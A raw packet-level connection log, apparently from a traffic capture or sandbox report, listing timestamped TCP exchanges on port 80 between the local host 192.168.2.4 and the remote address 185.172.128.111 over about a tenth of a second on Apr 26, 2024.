Apr 26, 2024 09:41:11.916156054 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.916203976 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.916238070 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.916280031 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.916297913 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.916341066 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.916429996 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.916476011 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.916546106 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.916594028 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.916836023 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.916882038 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.916898966 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.916944027 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.916961908 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.917006969 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.917030096 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.917052984 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.917078018 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.917090893 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.917232990 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.917279959 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.917324066 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.917371988 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.917390108 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.917438984 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.917457104 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.917489052 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.917500973 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.917526960 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.917558908 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.917603970 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.917679071 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.917725086 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.917792082 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.917840004 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.917880058 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.917896986 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.917922020 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.917934895 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.918001890 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.918051004 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.918065071 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.918108940 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.918127060 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.918143988 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.918168068 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.918189049 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.918265104 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.918311119 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.918343067 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.918382883 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.918401957 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.918445110 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.918462992 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.918508053 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.918524981 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.918555975 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.918566942 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.918591022 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.918612957 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.918653965 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.918725014 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.918765068 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.918934107 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.918976068 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.919008017 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.919050932 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.919070959 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.919105053 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.919116020 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.919142008 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.919199944 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.919250965 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.919269085 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.919306040 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.919337034 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.919353962 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.919384956 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.919404030 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.936148882 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.936214924 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.936309099 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.936326981 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.936352968 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.936371088 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.936382055 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.936408043 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.944062948 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.944087982 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.944119930 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.944139004 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.944164991 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.944180965 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.944206953 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.944226027 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.944256067 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.944293022 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.944313049 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.944380999 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.944389105 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.944453001 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.944464922 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.944518089 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.944603920 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.944662094 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.944672108 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.944720030 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.944736958 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.944752932 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.944772005 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.944787025 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.945262909 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.945297956 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.945308924 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.945333958 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.945355892 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.945385933 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.945396900 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.945425034 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.945494890 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.945540905 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.945561886 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.945607901 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.945627928 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.945662975 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.945679903 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.945703983 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.945838928 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.945885897 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.945903063 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.945920944 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.945945978 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.945962906 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.945971012 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.945997953 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.946248055 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.946297884 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.946305037 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.946345091 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.946362972 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.946378946 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.946403980 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.946418047 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.946602106 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.946645021 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.946662903 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.946680069 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.946707964 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.946716070 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.946727991 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.946768045 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.946849108 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.946866989 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.946928024 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.946959972 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.946975946 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.947040081 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.947240114 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.947309971 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.947326899 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.947370052 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.947403908 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.947444916 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.947460890 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.947503090 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.947680950 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.947731018 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.947748899 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.947781086 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.947793007 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.947805882 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.947820902 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.947841883 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.958380938 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.958414078 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.958511114 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.958528042 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.958583117 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.958602905 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.958622932 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.958640099 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.958673000 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.958709002 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.958822012 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.958861113 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.958964109 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.959007978 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.959028959 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.959069967 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.959145069 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.959184885 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.959292889 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.959331989 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.959369898 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.959408998 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.959439993 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.959476948 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.959492922 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.959527016 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.959537983 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.959563971 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.968909979 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.969021082 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.969136953 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.969182968 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.969204903 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.969244003 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.969316959 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.969367981 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.969386101 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.969419003 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.969432116 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.969465971 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.969485998 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.969526052 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.969593048 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.969634056 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.969652891 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.969692945 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.969712973 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.969759941 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.969778061 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.969816923 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.969835043 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.969877005 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.969893932 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.969937086 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.969991922 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.970005989 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.970025063 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.970035076 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.970058918 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.970098972 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.970113993 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.970149040 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.970155954 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.970196009 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.970213890 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.970252991 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.970272064 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.970305920 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.013786077 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.013825893 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.013873100 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.013890982 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.013936996 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.013957024 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.013957024 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.013987064 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.014008045 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.014025927 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.014038086 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.014050961 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.014081955 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.014112949 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.014130116 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.014152050 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.014170885 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.014200926 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.014241934 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.014427900 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.014477968 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.014491081 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.014529943 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.014780045 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.014827967 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.014841080 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.014877081 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.014885902 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.014916897 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.014935017 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.014970064 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.015036106 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.015078068 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.015165091 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.015218973 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.015238047 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.015255928 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.015285015 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.015294075 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.015470028 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.015520096 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.015853882 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.015902042 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.015923023 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.015942097 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.015985966 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.016020060 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.016071081 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.016088009 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.016128063 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.016261101 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.016309023 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.016329050 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.016375065 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.016408920 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.016468048 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.016486883 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.016531944 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.016547918 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.016592979 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.016612053 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.016657114 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.016674995 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.016710043 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.016721964 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.016752958 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.016762018 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.016813040 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.016830921 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.016849995 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.016876936 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.016885042 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.016901016 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.016942978 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.016984940 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.017025948 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.017040014 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.017076969 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.017149925 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.017190933 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.017211914 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.017234087 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.017250061 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.017271042 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.017302036 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.017349958 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.017357111 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.017393112 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.017405033 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.017430067 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.017446041 CEST	80	49730	185.172.128.111	192.168.2.4
